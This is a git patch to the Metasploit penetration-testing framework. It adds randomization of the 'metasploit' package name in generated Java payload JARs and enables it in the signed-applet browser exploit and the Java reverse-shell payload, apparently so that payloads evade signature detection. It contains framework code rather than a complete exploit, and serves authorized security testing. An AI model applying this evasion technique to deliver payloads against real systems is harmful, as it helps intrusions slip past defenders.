From 6c490af75ed5cc9a8e4127c90b659ab6df806ab4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 27 Feb 2014 12:38:52 -0600 Subject: [PATCH] Add randomization to Rex::Zip::Jar and java_signed_applet --- lib/msf/core/payload/java.rb | 3 + lib/msf/util/exe.rb | 1 + lib/rex/zip/jar.rb | 56 ++++++++++++++++++- .../multi/browser/java_signed_applet.rb | 2 +- .../singles/java/shell_reverse_tcp.rb | 1 + 5 files changed, 60 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 7b88e06b5b..bf8522f100 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -42,6 +42,8 @@ module Msf::Payload::Java # # @option opts :main_class [String] the name of the Main-Class # attribute in the manifest. Defaults to "metasploit.Payload" + # @option opts :random [Boolean] Set to `true` to randomize the + # "metasploit" package name. # @return [Rex::Zip::Jar] def generate_jar(opts={}) raise if not respond_to? :config @@ -54,6 +56,7 @@ module Msf::Payload::Java ] + @class_files jar = Rex::Zip::Jar.new + jar.add_sub("metasploit") if opts[:random] jar.add_file("metasploit.dat", config) jar.add_files(paths, File.join(Msf::Config.data_directory, "java")) jar.build_manifest(:main_class => main_class) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 0fd83df058..9846bd9241 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -961,6 +961,7 @@ require 'msf/core/exe/segment_injector' spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" zip = Rex::Zip::Jar.new + zip.add_sub("metasploit") if opts[:random] paths = [ [ "metasploit", "Payload.class" ], ] diff --git a/lib/rex/zip/jar.rb b/lib/rex/zip/jar.rb index 74a1641fd6..3fae79ec44 100644 --- a/lib/rex/zip/jar.rb +++ b/lib/rex/zip/jar.rb @@ -15,6 +15,17 @@ module Zip # class Jar < Archive attr_accessor :manifest + # @!attribute [rw] substitutions + # The substitutions to apply when randomizing. Randomization is designed to + # be used in packages and/or classes names. + # + # @return [Hash] + attr_accessor :substitutions + + def initialize + @substitutions = {} + super + end # # Create a MANIFEST.MF file based on the current Archive#entries. @@ -35,8 +46,8 @@ class Jar < Archive # The SHA1-Digest lines are optional unless the jar is signed (see #sign). # def build_manifest(opts={}) - main_class = opts[:main_class] || nil - app_name = opts[:app_name] || nil + main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil) + app_name = (opts[:app_name] ? randomize(opts[:main_class]) : nil) existing_manifest = nil @manifest = "Manifest-Version: 1.0\r\n" @@ -224,6 +235,47 @@ class Jar < Archive return true end + # Adds a file to the JAR, randomizing the file name + # and the contents. + # + # @see Rex::Zip::Archive#add_file + def add_file(fname, fdata=nil, xtra=nil, comment=nil) + super(randomize(fname), randomize(fdata), xtra, comment) + end + + # Adds a substitution to have into account when randomizing. Substitutions + # must be added immediately after {#initialize}. + # + # @param str [String] String to substitute. It's designed to randomize + # class and/or package names. + # @param bad [String] String containing bad characters to avoid when + # applying substitutions. + # @return [String] The substitution which will be used when randomizing. + def add_sub(str, bad = '') + if @substitutions.key?(str) + return @substitutions[str] + end + + @substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad) + end + + # Randomizes an input by applying the `substitutions` available. + # + # @param str [String] String to randomize. + # @return [String] The input `str` with all the possible `substitutions` + # applied. + def randomize(str) + return str if str.nil? + + random = str + + @substitutions.each do |orig, subs| + random = str.gsub(orig, subs) + end + + random + end + end end diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index ff40e24b5b..19459a4b2c 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -134,7 +134,7 @@ class Metasploit3 < Msf::Exploit::Remote # If we haven't returned yet, then this is a request for our applet # jar, build one for this victim. - jar = p.encoded_jar + jar = p.encoded_jar(:random => true) jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class) diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 58b7e5bba1..635552722b 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -43,6 +43,7 @@ module Metasploit3 def generate_jar(opts={}) jar = Rex::Zip::Jar.new + jar.add_sub("metasploit") if opts[:random] @class_files.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/"